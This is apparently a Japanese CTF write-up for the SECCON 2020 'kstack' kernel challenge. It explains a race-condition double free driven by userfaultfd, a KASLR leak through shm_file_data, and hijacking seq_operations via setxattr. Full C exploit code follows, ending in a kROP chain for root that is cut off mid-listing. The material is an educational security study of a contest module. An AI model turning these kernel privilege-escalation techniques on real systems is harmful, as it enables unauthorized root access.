イントロ Link to this heading

いつぞや開催された SECCON CTF 2020。 その pwn 問題を全部解き直すシリーズ part.2 です。前回までのエントリは以下を参照してください。

本エントリでは kernel exploit 問題である kstack を解いていきます。

静的解析 Link to this heading

配布ファイルは以下の通り:

  • bzImage: Linux version 4.19.98 (ptr@medium-pwn) (gcc version 8.3.0 (Buildroot 2019.11-git-00204-gc2417843c8)) #18 0GNU/Linux
  • rootfs.cpio: initram
  • start.sh: QEMU 起動スクリプト。NIC は e1000。SMEP・KASLR 有効。
  • kstack.c: LKM ソースファイル。後述。

本 LKM は stack という名前のプロセスファイルをインストールする。 fops には unlocked_ioctl のみが登録されており、簡易的な PUSH/POP をシミュレートする。

Vulns Link to this heading

unlocked_ioctl として登録されている proc_ioctl は内部で copy_from_user/copy_to_user を呼び出すのだが、この際にロックが取られないため race condition が発生する可能性が有る。 copy_from_user/copy_to_user はそれ自体がそれなりに重い操作であるため、何万回か繰り返せばまぁそのうち競合するだろうが、 今回は確実に競合を発生させるため、userfaultfd を用いて copy_from_user がユーザランドのページにアクセスした際にフォルトを発生させ、処理をユーザランドに戻すことにする。

Leak kernbase via shm_file_data Link to this heading

まずは試しに POP を 2 回行って double free を起こしてみる。

そのためにはまず、適当な値を PUSH しておく。

その後、別スレッドにおいて __NR_userfaultfd システムコール(libc にラッパはない為直接呼ぶ)で usefaultfd file descriptor を入手する。そのあと mmap で指定したアドレス(0x117117000)に領域を確保し、確保した領域を uffd に対する ioctl で監視する。

mmap領域が監視されている状態で、その領域に対して POP を行う。 lazy loading のためにmmap領域は実際にはまだページが確保されていないから、 この POP 内の copy_to_user でページフォルトが起こり、処理は指定したユーザランドのフォルトハンドラに移る。 この POP を一旦放置した状態でフォルトハンドラにおいてもう一度 POP を行えば無事に 100%の確率で double free が発生する。

今回モジュール内で使用されている Element 構造体は全体のサイズが 0x18bytes である。 よって、これは free された後に kmalloc-32 に入ることになる。このスラブに入る構造体の中でなにかいいものがないかを以下で探す:

ここでは shm_file_data 構造体を利用する。これは shmat シスコールの内部で生成される構造体である:

ここで *sfdstruct shm_file_data である:

そのサイズは 0x20bytes であり、kmalloc-32にのることがわかる:

double free -> push -> shm_file_data生成 -> pop の順に操作することで shm_file_data の 0x8~0x10byte 目の値が読めるはずなのだが、何度やっても上手く pop されなかった。 それもそのはずで、POP の際には以下のように pid の確認をしているのを失念していた:


というわけで、方向転換をする。

まず先に shm_file_datakfree しておく。その後で POP を行い、 shm_file_data として使われていたスラブオブジェクトを Element 構造体として確保する。 pid などを設定した後 copy_to_user を行うのだが、ここでフォルトを発生させてハンドラに処理を移す。 その内部で PUSH を行うことで、pid は適切に設定されているものの Element.value に該当するデータは前の shm_file_data 内のポインタが残っており、これを leak することができる。

ここで shm_file_datakfree する方法だが、shmctl(IPC_RMID)をすることで該当セグメントに対して破棄済みの印をつけることができる。 その後でセグメントが破棄されるわけなんだが、正確にどのタイミングで破棄されるのかが分からなかった。 大体の場合はプロセスが死んだ直後に shm_release が呼ばれるのだが、呼ばれない場合もごく稀にあった。 上手くいった例が以下のとおりである(デバッグ目的で自前の巨大 kernel を使っているためブートに異様に時間がかかっている+これまたデバッグ目的で root ユーザを使用している):

まぁ、安定はしないが取り敢えず leak はできている。90%くらいは成功するからこれでいいだろう。

ここまでのコードは以下の通り:

tmp.c
  1#define _GNU_SOURCE
  2#include<sys/types.h>
  3#include<stdio.h>
  4#include<linux/userfaultfd.h>
  5#include<pthread.h>
  6#include<errno.h>
  7#include<stdlib.h>
  8#include<fcntl.h>
  9#include<signal.h>
 10#include<string.h>
 11#include<sys/mman.h>
 12#include<sys/syscall.h>
 13#include<poll.h>
 14#include<unistd.h>
 15#include<string.h>
 16#include<sys/ioctl.h>
 17#include<sys/prctl.h>
 18#include<sys/shm.h>
 19#define ulong unsigned long
 20#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 21                        } while (0)
 22#define PAGE 0x1000
 23ulong user_cs,user_ss,user_sp,user_rflags;
 24int fd;                     // file descriptor of /dev/note
 25char *addr = 0x117117000;    // memory region supervisored
 26char *shmaddr = 0x200200000;    // memory region shmat
 27const char *buf[0x1000];            // userland buffer
 28const unsigned long len = PAGE*0x10;  // memory length
 29unsigned long leak, kernbase;
 30void pop_shell(void)
 31{
 32  char *argv[] = {"/bin/sh",NULL};
 33  char *envp[] = {NULL};
 34  execve("/bin/sh",argv,envp);
 35}
 36static void save_state(void) {
 37  asm(
 38      "movq %%cs, %0\n"
 39      "movq %%ss, %1\n"
 40      "movq %%rsp, %2\n"
 41      "pushfq\n"
 42      "popq %3\n"
 43      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 44}
 45#define POP     0x57ac0002
 46#define PUSH    0x57ac0001
 47struct Element{
 48  int owner;
 49  unsigned long value;
 50  struct Element *fd;
 51};
 52int _push(unsigned long *data)
 53{
 54  if(ioctl(fd, PUSH, data) < 0)
 55    errExit("_push");
 56  printf("[+] pushed %llx\n", *data);
 57  return 0;
 58}
 59int _pop(unsigned long *givenbuf)
 60{
 61  if(ioctl(fd, POP, givenbuf) < 0)
 62    errExit("_pop");
 63  printf("[+] poped %llx\n", *givenbuf);
 64  return 0;
 65}
 66static void call_shmat(void)
 67{
 68  int shmid;
 69  void *addr;
 70  pid_t pid;
 71  if((pid=fork()) == 0){
 72    if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1)
 73      errExit("shmget fail");
 74    if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1)
 75      errExit("shmat fail");
 76    if(shmctl(shmid, IPC_RMID, NULL)==-1)
 77      errExit("shmctl");
 78    printf("[ ] Success call_shmat: %p\n", addr);
 79    printf("[ ] Child is exiting...\n");
 80    exit(0);
 81  }
 82  wait(pid);
 83  printf("[ ] Parent is returning...\n");
 84}
 85// cf. man page of userfaultfd
 86static void* fault_handler_thread(void *arg)
 87{
 88  puts("[+] entered fault_handler_thread");
 89  static struct uffd_msg msg;   // data read from userfaultfd
 90  struct uffdio_copy uffdio_copy;
 91  long uffd = (long)arg;        // userfaultfd file descriptor
 92  struct pollfd pollfd;         //
 93  int nready;                   // number of polled events
 94  unsigned long hogebuf;
 95  // set poll information
 96  pollfd.fd = uffd;
 97  pollfd.events = POLLIN;
 98  // wait for poll
 99  puts("[+] polling...");
100  while(poll(&pollfd, 1, -1) > 0){
101    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
102      errExit("poll");
103    // read an event
104    if(read(uffd, &msg, sizeof(msg)) == 0)
105      errExit("read");
106    if(msg.event != UFFD_EVENT_PAGEFAULT)
107      errExit("unexpected pagefault");
108    printf("[!] page fault: %p\n",msg.arg.pagefault.address);
109    //** Now, another thread is halting. Do my business. **//
110    puts("[+] pop before push!");
111    _pop(&hogebuf); // leak shm_file_data->ipc_namespace
112    leak = hogebuf;
113    kernbase = leak-0xc38600;
114    printf("[!] leaked: %llx\n", leak);
115    printf("[!] kernbase(text): %llx\n", kernbase);
116    // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl
117    uffdio_copy.src = buf;
118    uffdio_copy.dst = msg.arg.pagefault.address & ~(PAGE-1);
119    uffdio_copy.len = PAGE;
120    uffdio_copy.mode = 0;
121    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
122      errExit("ioctl-UFFDIO_COPY");
123    break;
124  }
125  puts("[+] exiting fault_handler_thrd");
126}
127// cf. man page of userfaultfd
128void register_userfaultfd_and_halt(void)
129{
130  puts("[+] registering userfaultfd...");
131  long uffd;      // userfaultfd file descriptor
132  pthread_t thr;  // ID of thread that handles page fault and continue exploit in another kernel thread
133  struct uffdio_api uffdio_api;
134  struct uffdio_register uffdio_register;
135  int s;
136  // create userfaultfd file descriptor
137  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
138  if(uffd == -1)
139    errExit("userfaultfd");
140  // enable uffd object via ioctl(UFFDIO_API)
141  uffdio_api.api = UFFD_API;
142  uffdio_api.features = 0;
143  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
144    errExit("ioctl-UFFDIO_API");
145  // mmap
146  puts("[+] mmapping...");
147  addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
148  puts("[+] mmapped...");
149  if(addr == MAP_FAILED)
150    errExit("mmap");
151  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
152  uffdio_register.range.start = addr;
153  uffdio_register.range.len = PAGE*0x10;
154  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
155  if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
156    errExit("ioctl-UFFDIO_REGISTER");
157  s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
158  if(s!=0){
159    errno = s;
160    errExit("pthread_create");
161  }
162  puts("[+] registered userfaultfd");
163}
164int main(void)
165{
166  unsigned long secret;
167  unsigned long content_ptr;
168  unsigned long modulebase;
169  unsigned long dif_main_buf, dif_notes_array;
170  unsigned long page_offset_base;
171  unsigned long rip_call_copy_to_user;
172  unsigned long addr_copy_to_user;
173  signed long rel_jmp_offset;
174  unsigned long kern_textbase;
175  void *tmp_addr;
176  unsigned char *addr_cred;
177  unsigned long addr_cred_in_task_struct;
178  unsigned long tmp_buf = 0xdeadbeef;
179  unsigned long diff_copy_to_user = 0x353ee0;
180  // save state
181  save_state();
182  // open miscdevice
183  if((fd=open("/proc/stack",O_RDONLY))<0)
184    errExit("open-/proc/stack");
185  // leak secret
186  register_userfaultfd_and_halt();
187  sleep(1);
188  call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32
189  _push(addr); // invoke fault
190  return 0;
191}

Double free via failure of copy_from_user Link to this heading

さて、ここまでで kernbase のリークは済んだ。このあとは PC を奪取する必要が有る。

上のプログラムではページフォルトをハンドルした後、処理が copy_to_user に戻り、以降はほぼ正常に動作する。 但し、中断した PUSH で扱っている Element インスタンスは POP において kfree されている。 ここで copy_from_user が失敗した場合、以下の処理でさらに同じインスタンスが kfree されて double free が生じる:

copy_from_user を失敗させるためには、その領域に対してアクセス権限がなければよいため、フォルトハンドラの内部において mprotect でページ権限を変更することにする:

こうしてユーザランドからの読み込みを失敗させると、以下のように EINVAL が返されて copy_from_user が失敗し、double free が生じる:

Get PC via seq_operations and setxattr Link to this heading

double free があれば、PC を奪取することができるようになる。 そのための条件は、

  • 1: 構造体内に関数ポインタを含むこと
  • 2: 1 と別に構造体内に任意の値を書き込めること

さて、先程の shm_file_data 構造体を考えると、このどちらの条件も満たしていないことが分かる。 よって、こいつとは kernbase leak を最後におさらばする 👋👋👋👋 (というかひねくれずに最初から以下の常套手段を使えばよかったのに…)

構造体内に関数ポインタを含み kmalloc-32 に入る構造体として seq_operations を用いる。 これは 4 つの関数ポインタを保持し、任意のタイミングで呼び出すことができるため victim 側の構造体として利用する。

任意の値の書き込みには定番の setxattr を呼び出す。 確保するチャンクのサイズやそこに書き込む値を自由に制御することができるため、うってつけの関数である。尚、確保されたオブジェクトは関数の終了時に kfree される。(今回は別に問題ない)

この 2 つと double free を組み合わせて試しに PC を 0xDEADBEEF に飛ばしてみるコードが以下の通り:

pc.c
  1#define _GNU_SOURCE
  2#include<sys/types.h>
  3#include<stdio.h>
  4#include<linux/userfaultfd.h>
  5#include<pthread.h>
  6#include<errno.h>
  7#include<stdlib.h>
  8#include<fcntl.h>
  9#include<signal.h>
 10#include<string.h>
 11#include<sys/mman.h>
 12#include<sys/syscall.h>
 13#include<poll.h>
 14#include<unistd.h>
 15#include<string.h>
 16#include<sys/ioctl.h>
 17#include<sys/prctl.h>
 18#include<sys/shm.h>
 19#include<sys/xattr.h>
 20#define ulong unsigned long
 21#define errExit(msg) do { perror("[ERROR EXIT]\n"); \
 22                          perror(msg); \
 23                          exit(EXIT_FAILURE); \
 24                     } while (0)
 25#define PAGE 0x1000
 26ulong user_cs,user_ss,user_sp,user_rflags;
 27int fd;                     // file descriptor of /dev/note
 28char *addr = 0x117117000;    // memory region supervisored
 29char *shmaddr = 0x200200000;    // memory region shmat
 30const char *buf[0x1000];            // userland buffer
 31const unsigned long len = PAGE*0x10;  // memory length
 32unsigned long leak, kernbase;
 33void pop_shell(void)
 34{
 35  char *argv[] = {"/bin/sh",NULL};
 36  char *envp[] = {NULL};
 37  execve("/bin/sh",argv,envp);
 38}
 39static void save_state(void) {
 40  asm(
 41      "movq %%cs, %0\n"
 42      "movq %%ss, %1\n"
 43      "movq %%rsp, %2\n"
 44      "pushfq\n"
 45      "popq %3\n"
 46      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 47}
 48#define POP     0x57ac0002
 49#define PUSH    0x57ac0001
 50struct Element{
 51  int owner;
 52  unsigned long value;
 53  struct Element *fd;
 54};
 55int _push(unsigned long *data)
 56{
 57  if(ioctl(fd, PUSH, data) < 0)
 58    if(errno == EINVAL){
 59      printf("[-] copy_from_user failed.\n");
 60      errno = 0;
 61    }else
 62      errExit("_push");
 63  // printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it.
 64  return 0;
 65}
 66int _pop(unsigned long *givenbuf)
 67{
 68  if(ioctl(fd, POP, givenbuf) < 0)
 69    errExit("_pop");
 70  printf("[+] poped %llx\n", *givenbuf);
 71  return 0;
 72}
 73static void call_shmat(void)
 74{
 75  int shmid;
 76  void *addr;
 77  pid_t pid;
 78  if((pid=fork()) == 0){
 79    if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1)
 80      errExit("shmget fail");
 81    if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1)
 82      errExit("shmat fail");
 83    if(shmctl(shmid, IPC_RMID, NULL)==-1)
 84      errExit("shmctl");
 85    printf("[ ] Success call_shmat: %p\n", addr);
 86    printf("[ ] Child is exiting...\n");
 87    exit(0);
 88  }
 89  wait(pid);
 90  printf("[ ] Parent is returning...\n");
 91}
 92// cf. man page of userfaultfd
 93static void* fault_handler_thread(void *arg)
 94{
 95  puts("[+] entered fault_handler_thread");
 96  static struct uffd_msg msg;   // data read from userfaultfd
 97  struct uffdio_range uffdio_range;
 98  long uffd = (long)arg;        // userfaultfd file descriptor
 99  struct pollfd pollfd;         //
100  int nready;                   // number of polled events
101  unsigned long hogebuf;
102  // set poll information
103  pollfd.fd = uffd;
104  pollfd.events = POLLIN;
105  // wait for poll
106  puts("[+] polling...");
107  while(poll(&pollfd, 1, -1) > 0){
108    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
109      errExit("poll");
110    // read an event
111    if(read(uffd, &msg, sizeof(msg)) == 0)
112      errExit("read");
113    if(msg.event != UFFD_EVENT_PAGEFAULT)
114      errExit("unexpected pagefault");
115    printf("[!] page fault: %p\n",msg.arg.pagefault.address);
116    //********* Now, another thread is halting. Do my business. **//
117    // leak kernbase
118    puts("[+] pop before push!");
119    _pop(&hogebuf); // leak shm_file_data->ipc_namespace
120    leak = hogebuf;
121    kernbase = leak-0xc38600;
122    printf("[!] leaked: %llx\n", leak);
123    printf("[!] kernbase(text): %llx\n", kernbase);
124    // change page permission and make fail copy_from_user
125    mprotect(msg.arg.pagefault.address & ~(PAGE-1), PAGE, PROT_NONE);
126    printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE-1));
127    uffdio_range.start = msg.arg.pagefault.address & ~(PAGE-1);
128    uffdio_range.len = PAGE;
129    if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
130      errExit("ioctl-UFFDIO_UNREGISTER");
131    printf("[+] unregistered supervisored region.\n");
132    break;
133  }
134  puts("[+] exiting fault_handler_thrd");
135}
136// cf. man page of userfaultfd
137void register_userfaultfd_and_halt(void)
138{
139  puts("[+] registering userfaultfd...");
140  long uffd;      // userfaultfd file descriptor
141  pthread_t thr;  // ID of thread that handles page fault and continue exploit in another kernel thread
142  struct uffdio_api uffdio_api;
143  struct uffdio_register uffdio_register;
144  int s;
145  // create userfaultfd file descriptor
146  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
147  if(uffd == -1)
148    errExit("userfaultfd");
149  // enable uffd object via ioctl(UFFDIO_API)
150  uffdio_api.api = UFFD_API;
151  uffdio_api.features = 0;
152  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
153    errExit("ioctl-UFFDIO_API");
154  // mmap
155  puts("[+] mmapping...");
156  addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
157  puts("[+] mmapped...");
158  if(addr == MAP_FAILED)
159    errExit("mmap");
160  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
161  uffdio_register.range.start = addr;
162  uffdio_register.range.len = PAGE*0x10;
163  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
164  if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
165    errExit("ioctl-UFFDIO_REGISTER");
166  s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
167  if(s!=0){
168    errno = s;
169    errExit("pthread_create");
170  }
171  puts("[+] registered userfaultfd");
172}
173int main(void)
174{
175  unsigned long secret;
176  unsigned long content_ptr;
177  unsigned long modulebase;
178  unsigned long dif_main_buf, dif_notes_array;
179  unsigned long page_offset_base;
180  unsigned long rip_call_copy_to_user;
181  unsigned long addr_copy_to_user;
182  signed long rel_jmp_offset;
183  unsigned long kern_textbase;
184  void *tmp_addr;
185  unsigned char *addr_cred;
186  unsigned long addr_cred_in_task_struct;
187  unsigned long tmp_buf = 0xdeadbeef;
188  int sfd;
189  unsigned long diff_copy_to_user = 0x353ee0;
190  // save state
191  save_state();
192  //  open target proc file
193  if((fd=open("/proc/stack",O_RDONLY))<0)
194    errExit("open-/proc/stack");
195  // set userfaultfd
196  register_userfaultfd_and_halt();
197  sleep(1);
198  //
199  call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32
200  _push(addr); // invoke fault
201  // alloc seq_operations;
202  if((sfd = open("proc/self/stat", O_RDONLY)) == -1)
203    errExit("single_open");
204  // overwrite seq_operations;
205  char buf[0x20];
206  for(int ix=0; ix!=4; ++ix)
207    *(unsigned long*)(buf+ix*8) = 0xDEADBEEF;
208  setxattr("/tmp", "SHE_IS_SUMMER", buf, 0x20, XATTR_CREATE);
209  // pop rip to death
210  read(sfd, buf, 0x10);
211  return 0;
212}

double free されて kmalloc-32 に対して同一オブジェクトが 2 つ繋がれているため、 以下のように setxattr 内で kvmalloc によって確保されたチャンクが seq_operations として確保されたものと同一のものであることが分かるであろう:

但し、先頭 8byte は kfree (厳密に言うと inline do_slab_free)において変更されるため、先頭 8byte の値は自由にいじることができない前提でいる必要が有る。今回は int (*show)() だけ書き換えられれば良いため、問題なし。関数ポインタを 0xDEADBEEF で書き換えたために次に read する際にパニックが起きる:

Root via stack pivot Link to this heading

ここまでで PC を奪取することができた。また、今回は SMEP のみ有効で SMAP 無効のため、kROP ができる。 すごく普通の kROP のため省略するが、詳細は以下のエントリらへんに書いておいた気がする。

Exploit Link to this heading

自前カーネルのオフセットを利用している。オフセットを直せば問題環境にそのまま利用できるが、二度手間なのでしていない。 SMEP/KASLR 有効。

exploit.c
  1#define _GNU_SOURCE
  2#include<stdio.h>
  3#include<linux/userfaultfd.h>
  4#include<pthread.h>
  5#include<errno.h>
  6#include<stdlib.h>
  7#include<fcntl.h>
  8#include<signal.h>
  9#include<string.h>
 10#include<sys/mman.h>
 11#include<sys/syscall.h>
 12#include<poll.h>
 13#include<unistd.h>
 14#include<string.h>
 15#include<sys/ioctl.h>
 16#include<sys/prctl.h>
 17#include<sys/shm.h>
 18#include<sys/xattr.h>
 19#define ulong unsigned long
 20#define errExit(msg) do { perror("[ERROR EXIT]\n"); \
 21                          perror(msg); \
 22                          exit(EXIT_FAILURE); \
 23                     } while (0)
 24#define WAIT(msg) puts(msg); \
 25                  fgetc(stdin);
 26#define PAGE 0x1000
 27ulong user_cs,user_ss,user_sp,user_rflags;
 28int fd;                     // file descriptor of /dev/note
 29char *addr = 0x117117000;    // memory region supervisored
 30char *shmaddr = 0x200200000;    // memory region shmat
 31const char *buf[0x1000];            // userland buffer
 32const ulong len = PAGE*0x10;  // memory length
 33ulong leak, kernbase;
 34void pop_shell(void)
 35{
 36  char *argv1[] = {"/bin/cat","/flag",NULL};
 37  char *envp1[] = {NULL};
 38  execve("/bin/cat",argv1,envp1);
 39  char *argv2[] = {"/bin/sh",NULL};
 40  char *envp2[] = {NULL};
 41  execve("/bin/sh",argv2,envp2);
 42}
 43static void save_state(void) {
 44  asm(
 45      "movq %%cs, %0\n"
 46      "movq %%ss, %1\n"
 47      "movq %%rsp, %2\n"
 48      "pushfq\n"
 49      "popq %3\n"
 50      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 51}
 52#define POP     0x57ac0002
 53#define PUSH    0x57ac0001
 54struct Element{
 55  int owner;
 56  ulong value;
 57  struct Element *fd;
 58};
 59int _push(ulong *data)
 60{
 61  if(ioctl(fd, PUSH, data) < 0)
 62    if(errno == EINVAL){
 63      printf("[-] copy_from_user failed.\n");
 64      errno = 0;
 65    }else
 66      errExit("_push");
 67  // printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it.
 68  return 0;
 69}
 70int _pop(ulong *givenbuf)
 71{
 72  if(ioctl(fd, POP, givenbuf) < 0)
 73    errExit("_pop");
 74  printf("[+] poped %llx\n", *givenbuf);
 75  return 0;
 76}
 77static void call_shmat(void)
 78{
 79  int shmid;
 80  void *addr;
 81  pid_t pid;
 82  if((pid=fork()) == 0){
 83    if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1)
 84      errExit("shmget fail");
 85    if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1)
 86      errExit("shmat fail");
 87    if(shmctl(shmid, IPC_RMID, NULL)==-1)
 88      errExit("shmctl");
 89    printf("[ ] Success call_shmat: %p\n", addr);
 90    printf("[ ] Child is exiting...\n");
 91    exit(0);
 92  }
 93  wait(pid);
 94  printf("[ ] Parent is returning...\n");
 95}
 96// cf. man page of userfaultfd
 97static void* fault_handler_thread(void *arg)
 98{
 99  puts("[+] entered fault_handler_thread");
100  static struct uffd_msg msg;   // data read from userfaultfd
101  struct uffdio_range uffdio_range;
102  long uffd = (long)arg;        // userfaultfd file descriptor
103  struct pollfd pollfd;         //
104  int nready;                   // number of polled events
105  ulong hogebuf;
106  // set poll information
107  pollfd.fd = uffd;
108  pollfd.events = POLLIN;
109  // wait for poll
110  puts("[+] polling...");
111  while(poll(&pollfd, 1, -1) > 0){
112    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
113      errExit("poll");
114    // read an event
115    if(read(uffd, &msg, sizeof(msg)) == 0)
116      errExit("read");
117    if(msg.event != UFFD_EVENT_PAGEFAULT)
118      errExit("unexpected pagefault");
119    printf("[!] page fault: %p\n",msg.arg.pagefault.address);
120    //********* Now, another thread is halting. Do my business. **//
121    // leak kernbase
122    puts("[+] pop before push!");
123    _pop(&hogebuf); // leak shm_file_data->ipc_namespace
124    leak = hogebuf;
125    kernbase = leak-0xc38600;
126    printf("[!] leaked: %llx\n", leak);
127    printf("[!] kernbase(text): %llx\n", kernbase);
128    // change page permission and make fail copy_from_user
129    mprotect(msg.arg.pagefault.address & ~(PAGE-1), PAGE, PROT_NONE);
130    printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE-1));
131    uffdio_range.start = msg.arg.pagefault.address & ~(PAGE-1);
132    uffdio_range.len = PAGE;
133    if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
134      errExit("ioctl-UFFDIO_UNREGISTER");
135    printf("[+] unregistered supervisored region.\n");
136    break;
137  }
138  puts("[+] exiting fault_handler_thrd");
139}
140// cf. man page of userfaultfd
141void register_userfaultfd_and_halt(void)
142{
143  puts("[+] registering userfaultfd...");
144  long uffd;      // userfaultfd file descriptor
145  pthread_t thr;  // ID of thread that handles page fault and continue exploit in another kernel thread
146  struct uffdio_api uffdio_api;
147  struct uffdio_register uffdio_register;
148  int s;
149  // create userfaultfd file descriptor
150  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
151  if(uffd == -1)
152    errExit("userfaultfd");
153  // enable uffd object via ioctl(UFFDIO_API)
154  uffdio_api.api = UFFD_API;
155  uffdio_api.features = 0;
156  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
157    errExit("ioctl-UFFDIO_API");
158  // mmap
159  puts("[+] mmapping...");
160  addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
161  puts("[+] mmapped...");
162  if(addr == MAP_FAILED)
163    errExit("mmap");
164  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
165  uffdio_register.range.start = addr;
166  uffdio_register.range.len = PAGE*0x10;
167  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
168  if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
169    errExit("ioctl-UFFDIO_REGISTER");
170  s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
171  if(s!=0){
172    errno = s;
173    errExit("pthread_create");
174  }
175  puts("[+] registered userfaultfd");
176}
177int main(void)
178{
179  /** gadgets **/
180  ulong pop_rdi = 0x194964;
181  // 0xffffffff81194964: pop rdi ; ret  ;  (19 found)
182  ulong pop_rcx = 0x0dee43;
183  // 0xffffffff810dee43: pop rcx ; ret  ;  (49 found)
184  ulong stack_pivot = 0x059d8b;
185  // 0xffffffff81059d8b: mov esp, 0x83C389C0 ; ret  ;  (1 found)
186  ulong prepare_kernel_cred = 0x06b960;
187  // ffffffff8106b960 T prepare_kernel_cred
188  ulong mov_rdi_rax = 0x0187bf;
189  // 0xffffffff810187bf: mov rdi, rax ; rep movsq  ; pop rbp ; ret  ;  (1 found)
190  ulong commit_creds = 0x06b770;
191  // ffffffff8106b770 T commit_creds
192  ulong swapgs_restore_regs_and_return_to_usermode = 0x600a4a;
193  // ffffffff81600a34 T swapgs_restore_regs_and_return_to_usermode
194  /*
195   0xffffffff81600a4a <common_interrupt+74>:    mov    rdi,rsp
196   0xffffffff81600a4d <common_interrupt+77>:    mov    rsp,QWORD PTR gs:0x5004
197   0xffffffff81600a56 <common_interrupt+86>:    push   QWORD PTR [rdi+0x30]
198   0xffffffff81600a59 <common_interrupt+89>:    push   QWORD PTR [rdi+0x28]
199   0xffffffff81600a5c <common_interrupt+92>:    push   QWORD PTR [rdi+0x20]
200   0xffffffff81600a5f <common_interrupt+95>:    push   QWORD PTR [rdi+0x18]
201   0xffffffff81600a62 <common_interrupt+98>:    push   QWORD PTR [rdi+0x10]
202   0xffffffff81600a65 <common_interrupt+101>:   push   QWORD PTR [rdi]
203   0xffffffff81600a67 <common_interrupt+103>:   push   rax
204   0xffffffff81600a68 <common_interrupt+104>:   xchg   ax,ax
205   0xffffffff81600a6a <common_interrupt+106>:   mov    rdi,cr3
206   0xffffffff81600a6d <common_interrupt+109>:   jmp    0xffffffff81600aa3 <common_interrupt+163>
207   0xffffffff81600a6f <common_interrupt+111>:   mov    rax,rdi
208   0xffffffff81600a72 <common_interrupt+114>:   and    rdi,0x7ff
209  */
210  void *tmp_addr;
211  ulong tmp_buf = 0xdeadbeef;
212  int sfd;
213  unsigned long* fstack;
214  ulong *rop;
215  // save state
216  save_state();
217  //  open target proc file
218  if((fd=open("/proc/stack",O_RDONLY))<0)
219    errExit("open-/proc/stack");
220  // set userfaultfd
221  register_userfaultfd_and_halt();
222  sleep(1);
223  //
224  call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32
225  _push(addr); // invoke fault
226  // alloc seq_operations;
227  if((sfd = open("proc/self/stat", O_RDONLY)) == -1)
228    errExit("single_open");
229  // overwrite seq_operations;
230  char buf[0x20];
231  printf("[+] stack pivot gadget: %p\n", kernbase + stack_pivot);
232  for(int ix=0; ix!=4; ++ix) // first 8byte is useless.
233    *(ulong*)(buf+ix*8) = (kernbase + stack_pivot);
234  setxattr("/tmp", "SHE_IS_SUMMER", buf, 0x20, XATTR_CREATE);
235  // alloc fake stack for 0x83C389C0
236  fstack = mmap(0x83C38000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
237  if(fstack != 0x83C38000)
238    errExit("fstack");
239  /********** construct kROP ***************/
240  rop = (ulong*)0x83C389c0;
241  // Get cred of init task.
242  *rop++ = kernbase + pop_rdi;
243  *rop++ = 0;
244  *rop++ = kernbase + prepare_kernel_cred;
245  // Commit that cred.
246  *rop++ = kernbase + pop_rcx;      // Cuz mov_rdi_rax gadget contains rep inst, set counter to 0.
247  *rop++ = 0;
248  *rop++ = kernbase + mov_rdi_rax;
249  *rop++ = 0; // fake rbp
250  *rop++ = kernbase + commit_creds;
251  // Return to usermode by swapgs_restore_regs_and_return_to_usermode
252  *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
253  *rop++ = 0;
254  *rop++ = 0;
255  *rop++ = (ulong)&pop_shell;
256  *rop++ = user_cs;
